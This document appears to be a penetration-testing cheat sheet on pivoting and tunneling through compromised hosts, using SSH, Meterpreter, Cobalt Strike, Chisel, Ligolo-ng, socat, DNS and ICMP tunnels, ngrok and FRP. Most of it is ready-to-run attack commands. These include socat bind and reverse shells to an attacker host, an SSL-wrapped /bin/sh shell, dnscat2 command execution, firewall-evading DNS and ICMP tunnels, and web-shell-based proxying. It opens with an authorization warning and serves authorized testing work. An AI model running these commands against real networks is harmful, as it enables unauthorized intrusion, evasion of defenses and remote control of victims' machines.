Network Tunneling and Port Forwarding
⚠️ Authorization Required: Only use these techniques on systems you own or have explicit written authorization to test. Unauthorized network access is illegal.
Quick Reference
| Technique | Use Case | Tool |
|---|---|---|
| SSH Local Forward | Access internal port via compromised host | ssh -L |
| SSH Remote Forward | Expose local service to remote | ssh -R |
| SSH Dynamic (SOCKS) | Full proxy through compromised host | ssh -D |
| Meterpreter Port Forward | Pivot from active session | portfwd add |
| Chisel | High-performance reverse tunnel | chisel |
| Ligolo-ng | Advanced pivoting with TUN interface | ligolo-ng |
| DNS Tunnel | Bypass firewalls via DNS | iodine, dnscat2 |
| ICMP Tunnel | Bypass via ping | hans, ptunnel-ng |
| ngrok/Cloudflared | Expose local services to internet | ngrok, cloudflared |
| FRP | Reverse proxy with SSH gateway | frp |
SSH Tunneling
Nmap Through SOCKS Proxy
⚠️ Important: ICMP and SYN scans cannot be tunneled through SOCKS proxies. Disable ping discovery and use TCP scans:
proxychains nmap -n -Pn -sT -p445,3389,5985 <target>
Local Port Forwarding (Port2Port)
Forward local port through compromised host to target:
# Syntax
ssh -i ssh_key <user>@<compromised_ip> -L <local_port>:<target_ip>:<target_port> [-p <ssh_port>] [-N -f]
# Example: Forward local 631 to victim's 631 through compromised host
sudo ssh -L 631:<victim_ip>:631 -N -f -l <username> <compromised_ip>
Remote Port Forwarding
Expose a port on the compromised host back to your machine:
# Local port 1521 accessible on port 10521 from everywhere
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1
# Remote port 1521 accessible on port 10521 from everywhere
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1
Dynamic SOCKS Proxy
Create a SOCKS proxy through the compromised host:
ssh -f -N -D <local_port> <username>@<compromised_ip>
# Then configure proxychains to use 127.0.0.1:<local_port>
Reverse Port Forwarding (DMZ to Internal)
Get reverse shells from internal hosts through a DMZ:
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now send reverse shell to dmz_internal_ip:443, capture on localhost:7000
# Requires GatewayPorts yes in /etc/ssh/sshd_config
SSH VPN Tunnel
Create a TUN interface for full network routing (requires root on both ends):
# SSH config must have: PermitRootLogin yes, PermitTunnel yes
ssh root@server -w any:any # Creates tun0 on both sides
# Client side
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0
ip link set tun0 up
# Server side
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0
ip link set tun0 up
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
# Add route on client
route add -net 10.0.0.0/16 gw 1.1.1.1
SSHuttle
Tunnel all traffic to a subnet through a host:
pip install sshuttle
sshuttle -r user@host 10.10.10.0/24
# With private key, daemon mode
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
⚠️ Security Note (CVE-2023-48795): The Terrapin downgrade attack can tamper with SSH handshakes. Ensure OpenSSH ≥ 9.6 or disable vulnerable ciphers (
chacha20-poly1305@openssh.com,*-etm@openssh.com).
Meterpreter Pivoting
Port Forwarding
# Inside meterpreter session
portfwd add -l <local_port> -p <remote_port> -r <remote_host>
portfwd del -l <local_port> # Remove
portfwd # List all forwards
SOCKS Proxy
background # Background the session
route add <target_subnet> <netmask> <session_id>
use auxiliary/server/socks_proxy
run # Listens on 127.0.0.1:1080
# Configure proxychains
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf
Autoroute Module
background
use post/multi/manage/autoroute
set SESSION <session_id>
set SUBNET 10.1.13.0
set NETMASK 255.255.255.0
run
Cobalt Strike
SOCKS Proxy
beacon> socks 1080
[+] started SOCKS4a server on: 1080
# Use with proxychains
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
Reverse Port Forwarding
# Traffic goes: Beacon Host → Team Server → Target
rportfwd [bind_port] [forward_host] [forward_port]
rportfwd stop [bind_port]
# Traffic goes: Beacon Host → CS Client → Target
rportfwd_local [bind_port] [forward_host] [forward_port]
rportfwd_local stop [bind_port]
Chisel
High-performance reverse proxy (use same version for client/server):
SOCKS Mode
# Attacker (server)
./chisel server -p 8080 --reverse
# Victim (client)
./chisel client <attacker_ip>:8080 R:socks
# Now use proxychains with 127.0.0.1:1080
Port Forwarding
# Attacker
./chisel server -p 12312 --reverse
# Victim
./chisel client <attacker_ip>:12312 R:4505:127.0.0.1:4505
# Access victim's 4505 via attacker's 4505
Ligolo-ng
Advanced pivoting with TUN interface support:
Basic Tunnel
# Attacker - Start proxy
sudo ./proxy -selfcert
interface_create --name "ligolo"
certificate_fingerprint # Note the fingerprint
# Victim - Connect agent
./agent -connect <attacker_ip>:11601 -v -accept-fingerprint <fingerprint>
# Attacker - Manage session
session
1 # Select agent
tunnel_start --tun "ligolo"
ifconfig
interface_add_route --name "ligolo" --route <network>/<netmask>
Port Forwarding
# Forward agent's port 30000 to attacker's 10000
listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
listener_list
# Access agent's local services
interface_add_route --name "ligolo" --route 240.0.0.1/32
Rpivot
Reverse tunnel with SOCKS proxy (127.0.0.1:1080):
# Attacker
python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
# Victim
python client.py --server-ip <attacker_ip> --server-port 9999
# Through NTLM proxy
python client.py --server-ip <attacker_ip> --server-port 9999 \
--ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 \
--domain CONTOSO.COM --username Alice --password P@ssw0rd
# With hashes
python client.py --server-ip <attacker_ip> --server-port 9999 \
--ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 \
--domain CONTOSO.COM --username Alice \
--hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
Socat
Bind Shell
# Victim
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
# Attacker
socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
Reverse Shell
# Attacker
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
# Victim
socat TCP4:<attacker_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
Port Forwarding
socat TCP4-LISTEN:<local_port>,fork TCP4:<target_ip>:<target_port> &
# Through SOCKS
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
SSL Tunnel
# Generate certificates (both sides)
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
# Attacker
socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
# Victim
socat STDIO OPENSSL-CONNECT:<attacker_ip>:433,cert=client.pem,cafile=server.crt
Windows Tools
Netsh Port Proxy
# Create forward (requires local admin)
netsh interface portproxy add v4tov4 \
listenaddress=0.0.0.0 listenport=4444 \
connectaddress=10.10.10.10 connectport=4444
# List forwards
netsh interface portproxy show v4tov4
# Delete forward
netsh interface portproxy delete v4tov4 \
listenaddress=0.0.0.0 listenport=4444
Plink (Windows SSH Client)
# Reverse port forward from victim to attacker
echo y | plink.exe -l <username> -pw <password> \
-R <attacker_port>:<next_ip>:<final_port> <attacker_ip>
# Example
echo y | plink.exe -l root -pw password -R 9090:127.0.0.1:9090 10.11.0.41
SocksOverRDP
# Attacker - Register plugin
regsvr32.exe SocksOverRDP-Plugin.dll
# Connect via RDP (mstsc.exe), plugin listens on 127.0.0.1:1080
# Victim - Run server
SocksOverRDP-Server.exe
# Verify on attacker
netstat -antb | findstr 1080
# Configure Proxifier to use 127.0.0.1:1080
DNS Tunneling
Iodine
# Attacker
iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
# Victim
iodine -f -P P@ssw0rd tunneldomain.com -r
# Victim accessible at 1.1.1.2
# Compressed SSH through tunnel
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
DNSCat2
# Attacker
ruby ./dnscat2.rb tunneldomain.com
# Victim
./dnscat2 tunneldomain.com
# Internal network CTF
ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
./dnscat2 --dns host=10.10.10.10,port=5353
# PowerShell
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
# Port forwarding
session -i <session_id>
listen 127.0.0.1:8080 10.0.0.20:80
ICMP Tunneling
Hans
# Attacker (server)
./hans -v -f -s 1.1.1.1 -p P@ssw0rd
# Victim (client)
./hans -f -c <attacker_ip> -p P@ssw0rd -v
# After connection, victim is at 1.1.1.100
ping 1.1.1.100
ptunnel-ng
# Victim (server - must receive ICMP)
sudo ptunnel-ng
# Attacker (client)
sudo ptunnel-ng -p <victim_ip> -l 2222 -r 127.0.0.1 -R 22
# SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# SOCKS through ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1
Cloud-Based Tunnels
ngrok
# TCP tunnel
./ngrok tcp 4444
# Result: 0.tcp.ngrok.io:12345
# HTTP file server
./ngrok http file:///tmp/httpbin/
# Internal HTTP service
./ngrok http localhost:8080 --host-header=rewrite
./ngrok http localhost:8080 --auth="user:pass"
# Configuration (ngrok.yaml)
tunnels:
mytcp:
addr: 4444
proto: tcp
httpstatic:
proto: http
addr: file:///tmp/httpbin/
Cloudflared
# Quick tunnel
cloudflared tunnel --url http://localhost:8080
# Result: https://<random>.trycloudflare.com
# SOCKS5 proxy
cloudflared tunnel --url socks5://localhost:1080 --socks5
# Persistent tunnel
cloudflared tunnel create mytunnel
cloudflared tunnel route dns mytunnel internal.example.com
cloudflared tunnel run mytunnel
FRP (Fast Reverse Proxy)
# Attacker (frps)
./frps -c frps.toml # Listens on 0.0.0.0:7000
# Victim (frpc)
./frpc -c frpc.toml
# frpc.toml
serverAddr = "attacker_ip"
serverPort = 7000
[[proxies]]
name = "rdp"
type = "tcp"
localIP = "127.0.0.1"
localPort = 3389
remotePort = 5000
# SSH Gateway (v0.53+, no frpc needed)
# frps.toml: sshTunnelGateway.bindPort = 2200
# Victim:
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
Bash Port Forwarding
Multi-hop Forwarding
# Jump server: connect port 3333 to 5985
mknod backpipe p
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe
# InternalA (accessible from Jump, can reach InternalB)
exec 3<>/dev/tcp/internalB/5985
exec 4<>/dev/tcp/Jump/3333
cat <&3 >&4 &
cat <&4 >&3 &
# From host, access InternalB via Jump
evil-winrm -u username -i Jump
reGeorg
Web-based tunneling (upload web shell first):
python reGeorgSocksProxy.py -p 8080 -u http://victim:8080/tunnel/tunnel.jsp
# Supports: .ashx, .aspx, .js, .jsp, .php
NTLM Proxy Bypass
Cntlm
# /etc/cntlm.conf
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attacker_ip>:443
# Now SSH to localhost:2222 goes through NTLM proxy to attacker:443
OpenVPN
# In openvpn.conf
http-proxy <proxy_ip> 8080 <creds_file> ntlm
Bash Helper Scripts
See scripts/ directory for:
ssh-tunnel-config.sh- Generate SSH tunnel configurationsproxychains-config.sh- Configure proxychains for various proxiessocat-tunnel.sh- Quick socat tunnel setup
Best Practices
- Always verify authorization before testing
- Document all pivots for reporting
- Use encrypted tunnels (SSH, SSL) when possible
- Clean up temporary forwards and tunnels
- Test connectivity after establishing tunnels
- Consider performance - some tunnels are slow (DNS, ICMP)
- Check for Terrapin vulnerability in SSH versions
- Use appropriate tools for the scenario:
- SSH: When SSH access exists
- Meterpreter: Active sessions
- Chisel/Ligolo: High-performance needs
- DNS/ICMP: When only those protocols allowed
- Cloud tunnels: When egress is restricted
Troubleshooting
| Issue | Solution |
|---|---|
| SSH tunnel fails | Check GatewayPorts yes in sshd_config |
| Proxychains not working | Verify proxy type (socks4/socks5/http) |
| Slow DNS tunnel | Use compression: ssh -C -c blowfish-cbc |
| ICMP blocked | Try DNS tunneling instead |
| Port already in use | Use different local port |
| Certificate errors | Regenerate certs or disable verification |